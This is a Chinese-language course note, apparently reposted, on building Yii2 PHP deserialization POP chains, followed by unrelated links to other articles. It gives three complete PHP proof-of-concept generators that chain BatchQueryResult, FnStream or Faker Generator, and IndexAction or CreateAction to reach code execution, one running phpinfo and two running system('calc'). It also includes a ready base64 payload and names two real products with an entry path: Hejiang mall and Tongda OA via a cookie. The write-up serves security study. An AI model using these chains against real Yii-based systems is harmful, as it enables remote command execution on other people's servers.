小迪安全-112-yii反序列化链,某达oa,某商场,影响分析

yii是和tp一样的框架 

入口文件

web目录下

相对tp比较简单一些,对比tp找一下他的url结构

对应的位置结构

这个contorllers文件的actionindex就是触发的方法

控制器,指向的index文件,就可以去视图模块看index文件

这就是前端展示的文件

自己创建个新的文件访问试试

访问到了test/test文件,返回了123,这个需要文件名字和上一个模板原因,利用类的格式也是,都需要调用,跟tp差不多

例如有反序列化入口怎么构造poc

这里就有接受序列化数值,并且进行反序列化操作的入口

思路和tp一样,

全局搜索销毁函数

来到这个文件下

记录一下文件名字和类

跟踪一下reset

跟到这里就没有了,close跟到也是没什么东西,但这里datareader是可控的,可以赋值给一个不存在的方法,触发--call

这里用到第二个思路,直接找call_user_func  逆跟

搜到了一个,同文件下面还有一个close方法直接返回func的值

这里记录一下命名空间和类,用到close方法

这里就已经可以构造链了

在这里让datareader等于 new  FnStream这个对象再去触发close的时候就等于触发的FnStream对象的close

开始构造pop链

这里按照笔记顺序先写上面的再写下面的

先写个固定模板

这里就是use  第一个命名空间和类,然后声明一个新的对象

然后在上面写第一个链

第一个链写好之后就想办法给_fn_close可控,造成危害

然后在第一个链上面写第二个链

生成base64加密的反序列化值

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoxOntzOjk6Il9mbl9jbG9zZSI7czo3OiJwaHBpbmZvIjt9fQ

代码执行成功

看一下debug流程

直接看触发销毁函数的地方

datareader等于要触发类

到close的时候就执行了phpinfo

poc1

<?php
namespace GuzzleHttp\Psr7{//第二个链命名空间class FnStream{//第二个链的类var $_fn_close="phpinfo";//创建变量值为phpinfo}
}namespace yii\db{//第一个链的命名空间use GuzzleHttp\Psr7\FnStream;//因为调用FnStream类所以需要包含这个类class BatchQueryResult{//第一个链的类private $_dataReader;//变量值public function __construct()//创建方法{$this->_dataReader = new FnStream();//变量赋值为FnStream}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是为了调用BatchQueryResult形成__destruct()-》reset()}

第二个链

给一个不存在的方法去出发--call

全局搜索看看可利用的call

记录文件名字,命名空间和类

然后跟踪一下format

看到了func-array,但是很遗憾,变量arguments被固定了,没法利用

然后这个人就去找单函数的

全局搜call_user_func(

关于两个值,在本文将没有看到,就转到声明

这两个赋值就可以

ok,开始构造链

poc2

<?phpnamespace yii\rest{class IndexAction{public $checkAccess='system';public $id='calc';}
}namespace Faker{use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new IndexAction(),'run'];//数组格式赋值,控制第一个值调用run方法}}
}namespace yii\db{//第一个链的命名空间,因为来源于第一个链的命名空间use Faker\Generator;//因为调用Generator类所以需要包含这个类class BatchQueryResult{//第一个链的类private $_dataReader;//变量值public function __construct()//创建方法{$this->_dataReader = new Generator();//c出发时不沉溺在方法call}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是为了调用BatchQueryResult形成__destruct()-》reset()}

动态调试看看

运行流程

在close时候给的方法不存在此文件,调用了call

这里数组格式赋值调用了indexaction的run方法

第三链

这里又搜索到一个一样的

构造一下链

<?phpnamespace yii\rest{class CreateAction{public $checkAccess='system';public $id='calc';}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new CreateAction(),'run'];//数组格式赋值,控制第一个值调用run方法}}
}namespace yii\db{//第一个链的命名空间,因为来源于第一个链的命名空间use Faker\Generator;//因为调用Generator类所以需要包含这个类class BatchQueryResult{//第一个链的类private $_dataReader;//变量值public function __construct()//创建方法{$this->_dataReader = new Generator();//c出发时不沉溺在方法call}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是为了调用BatchQueryResult形成__destruct()-》reset()}

就只修改第三段链就可以了,而且也只是改一下类和命名空间

每一个链引用的文件都是不一样的,所以多条链路就是挨个调用所需要的类和方法

而这个是要在框架被开发的时候,出现了接受反序列化值而且我们可控可以这个值,就会造成反序列化命令执行漏洞

梳理流程txt文件

vendor/yiisoft/yii2/db/BatchQueryResult.php
__destruct()-》reset()
命名空间:namespace yii\db;  类:class BatchQueryResult      

vendor/yiisoft/yii2/db/BatchQueryResult.php
_dataReader(可赋值)
命名空间:namespace yii\db;  类:class BatchQueryResult

_dataReader=new FnStream -》close()


namespace GuzzleHttp\Psr7; class FnStream
close()
return call_user_func($this->_fn_close);


第一个思路,直接找call-user-func  逆跟


poc2

vendor/yiisoft/yii2/db/BatchQueryResult.php
__destruct()-》reset()
命名空间:namespace yii\db;  类:class BatchQueryResult      

vendor/yiisoft/yii2/db/BatchQueryResult.php
_dataReader(可赋值)
命名空间:namespace yii\db;  类:class BatchQueryResult

_dataReader=错误方法 -》call方法

vendor/fzaninotto/faker/src/Faker/Generator.php
namespace Faker;  class Generator
call()->format()->call_user_func_array();;formattters('close') = [new indexaction(),'run']

call_user_func_array($this->getFormatter($formatter), $arguments);$arguments被固定了
但可以控制$formatter调用方法

call_user_func_array(“new IndexAction.run()”就能调用下一个链执行命令

vendor/yiisoft/yii2/rest/IndexAction.php
namespace yii\rest; class IndexAction
call_user_func($this->checkAccess, $this->id);


poc3
vendor/yiisoft/yii2/rest/CreateAction.php
namespace yii\rest;  class CreateAction
call_user_func($this->checkAccess, $this->id);

案例一 禾匠商城

https://zhuanlan.zhihu.com/p/526291918

就在这里因为json-decode失败之后

就会进入变量res = unseriailize反序列化执行

就可以利用刚刚写好的链

案例二 通达oa反序列化

奇安信攻防社区-通达OA反序列化分析

使用了yii2.0.13版本

正常解密源码

怎么判断是yii框架

一艘关键字,getversion就找到了这个,文件名字也是yii

这个方法使用了unserialize函数

这里就使用了反推方法,先找了最后触发点,然后往前找

在全局搜索

这里引用过

搜索到loadcsrftokne引用过

getcsrftoken引用过

最后csrgmatggs引用过

这就马上就能找到入口文件了

看poc。入口是以cookie发送过去,访问

/general/appbuilder/web/portal/gateway/

目录

变量data就是cookie里面的数据
但是原有的链用不了,都被改了

就只能自己在找新的反序列化链

前面流程在找到close方法都是一样的

close方法发送了更改,然后在找call方法

然后剩下的看链接地址,里面有挨个链路分析,挺长的

额,这节课感觉小迪留后手了,讲的很水

jian

kang

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/77758.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自定义多头注意力模型:从代码实现到训练优化

引言 在自然语言处理和序列生成任务中,自注意力机制(Self-Attention)是提升模型性能的关键技术。本文将通过一个自定义的PyTorch模型实现,展示如何构建一个结合多头注意力与前馈网络的序列生成模型(如文本或字符生成)。该模型通过创新的 MaxStateSuper 模块实现动态特征…

动态LOD策略细节层级控制:根据视角距离动态简化远距量子态渲染

动态LOD策略在量子计算可视化中的优化实现 1. 细节层级控制:动态简化远距量子态渲染 在量子计算的可视化中,量子态通常表现为高维数据(如布洛赫球面或多量子比特纠缠态)。动态LOD(Level of Detail)策略通过以下方式优化渲染性能: 距离驱动的几何简化: 远距离渲染:当…

Java 泛型使用教程

简介 Java 泛型是 JDK 5 引入的一项特性&#xff0c;它提供了编译时类型安全检测机制&#xff0c;允许在编译时检测出非法的类型。泛型的本质是参数化类型&#xff0c;也就是说所操作的数据类型被指定为一个参数。 泛型的好处&#xff1a; 编译期检查类型安全 避免强制类型转…

Leetcode - 周赛446

目录 一、3522. 执行指令后的得分二、3523. 非递减数组的最大长度三、3524. 求出数组的 X 值 I四、3525. 求出数组的 X 值 II 一、3522. 执行指令后的得分 题目链接 本题就是一道模拟题&#xff0c;代码如下&#xff1a; class Solution {public long calculateScore(String…

【更新完毕】2025泰迪杯数据挖掘竞赛A题数学建模思路代码文章教学:竞赛论文初步筛选系统

完整内容请看文末最后的推广群 基于自然语言处理的竞赛论文初步筛选系统 基于多模态分析的竞赛论文自动筛选与重复检测模型 摘要 随着大学生竞赛规模的不断扩大&#xff0c;参赛论文的数量激增&#xff0c;传统的人工筛选方法面临着工作量大、效率低且容易出错的问题。因此&…

计算机视觉与深度学习 | RNN原理,公式,代码,应用

RNN(循环神经网络)详解 一、原理 RNN(Recurrent Neural Network)是一种处理序列数据的神经网络,其核心思想是通过循环连接(隐藏状态)捕捉序列中的时序信息。每个时间步的隐藏状态 ( h_t ) 不仅依赖当前输入 ( x_t ),还依赖前一时间步的隐藏状态 ( h_{t-1} ),从而实现…

AI速读:解锁LLM下Game Agent的奇妙世界

在 AI 浪潮中&#xff0c;大语言模型&#xff08;LLMs&#xff09;正重塑游戏智能体格局。想知道基于 LLMs 的游戏智能体如何运作&#xff0c;在各类游戏中有何惊艳表现&#xff0c;未来又将走向何方&#xff1f; 大型语言模型&#xff08;LLMs&#xff09;的兴起为游戏智能体的…

【每日八股】复习计算机网络 Day3:TCP 协议的其他相关问题

文章目录 昨日内容复习TCP 的四次挥手&#xff1f;TCP 为什么要四次挥手&#xff1f;在客户端处于 FIN_WAIT_2 状态时&#xff0c;如果此时收到了乱序的来自服务端的 FIN 报文&#xff0c;客户端会如何处理&#xff1f;何时进入 TIME_WAIT 状态&#xff1f;TCP 四次挥手丢了怎么…

学习笔记十五——rust柯里化,看不懂 `fn add(x) -> impl Fn(y)` 的同学点进来!

&#x1f9e0; Rust 柯里化从零讲透&#xff1a;看不懂 fn add(x) -> impl Fn(y) 的同学点进来&#xff01; &#x1f354; 一、什么是柯里化&#xff1f;先用一个超好懂的生活比喻 假设你在点一个汉堡&#xff1a; 你说&#xff1a;我要点一个鸡腿汉堡&#xff01; 店员…

深入理解 TCP 协议 | 流量、拥塞及错误控制机制

注&#xff1a;本文为 “TCP 协议” 相关文章合辑。 原文为繁体&#xff0c;注意术语描述差异。 作者在不同的文章中互相引用其不同文章&#xff0c;一并汇总于此。 略作重排&#xff0c;如有内容异常&#xff0c;请看原文。 TCP 三向交握 (Three-way Handshake) 2016-12-21 …

PCL库编译指南

PCL(Point Cloud Library)的编译过程会根据不同操作系统有所差异。以下是详细的编译步骤&#xff1a; Linux/Ubuntu系统编译 1. 安装依赖项 bash sudo apt-get update sudo apt-get install git build-essential linux-libc-dev sudo apt-get install cmake cmake-gui sud…

【Linux】条件变量、基于阻塞队列的生产者消费者模型

&#x1f4da; 博主的专栏 &#x1f427; Linux | &#x1f5a5;️ C | &#x1f4ca; 数据结构 | &#x1f4a1;C 算法 | &#x1f310; C 语言 进程是资源分配的基本单位&#xff0c;线程是调度的基本单位&#xff0c;线程是在进程内部运行的&#xff08;是进程内部…

32-工艺品商城小程序

技术&#xff1a; 基于 B/S 架构 SpringBootMySQLvueelementuiuniapp 环境&#xff1a; Idea mysql maven jdk1.8 node 可修改为其他类型商城 用户端功能 1.系统首页展示轮播图及工艺品列表 2.分类模块:展示产品的分类类型 3.购物车:进行商品多选结算 或者批量管理操作 4.…

SLAM | 激光SLAM中的退化问题

在激光SLAM中,判断退化环境的核心是通过数学建模分析环境特征对位姿估计的约束能力。除了LOAM中提出的退化因子D外,还存在多种基于表达式和阈值设定的方法。以下是几种典型方法及其实现原理: 1. 协方差矩阵特征值分析 原理:通过分析点云协方差矩阵的特征值分布,判断环境中…

【2025最新版】火鸟门户v8.5系统源码+PC、H5、小程序 +数据化大屏插件

一.介绍 火鸟地方门户系统V8.5源码 系统包含4端&#xff1a; PCH5小程序APP 二.搭建环境 系统环境&#xff1a;CentOS、 运行环境&#xff1a;宝塔 Linux 网站环境&#xff1a;Nginx 1.2.22 MySQL 5.6 PHP-7.4 常见插件&#xff1a;fileinfo &#xff1b; redis 三.测…

PHP腾讯云人脸核身获取NONCE ticket

参考腾讯云官方文档&#xff1a; 人脸核身 获取 NONCE ticket_腾讯云 前提条件&#xff0c;已经成功获取了access token。 获取参考文档&#xff1a; PHP腾讯云人脸核身获取Access Token-CSDN博客 public function getTxFaceNonceTicket($uid) {$access_token file_get_c…

多人3D游戏完整实现方案

以下是一份完整的代码实现方案,涵盖架构设计、核心模块实现和部署流程。我们以 多人3D游戏 为例,结合之前讨论的Nano服务端框架和Unity客户端: 技术栈 模块技术选型服务端Golang + Nano框架 + MongoDB客户端Unity 2022 + C# + Mirror Networking通信协议Protobuf + WebSock…

【Linux我做主】GDB调试工具完全指南

Linux下GDB调试工具完全指南&#xff1a;25个核心命令详解与实战示例 github地址 有梦想的电信狗 前言 GDB&#xff08;GNU Debugger&#xff09;是Linux开发中不可或缺的调试工具&#xff0c;尤其在定位代码逻辑错误和内存问题时表现卓越。本文基于实际开发经验&#xff0…

QT中栅格模式探索

1、Qt中选择了栅格模式&#xff0c;如下图所示&#xff1a; 2、在进行整个大的UI界面布局时&#xff0c;需了解每个控件所需要选择的属性sizePolicy。 sizePolicy包含如下几种选择&#xff1a; 3、举个例子&#xff1a;此时整个UI界面&#xff0c;我采用了栅格模式&#xf…

【计算机网络】3数据链路层①

这篇笔记专门讲数据链路层的功能。 2.功能 数据链路层的主要任务是让帧在一段链路上或一个网络中传输。 2.1.封装成帧(组帧) 解决的问题:①帧定界②帧同步③透明传输 实现组帧的方法通常有以下种。 2.1.1.字符计数法 原理:在每个帧开头,用一个定长计数字段来记录该…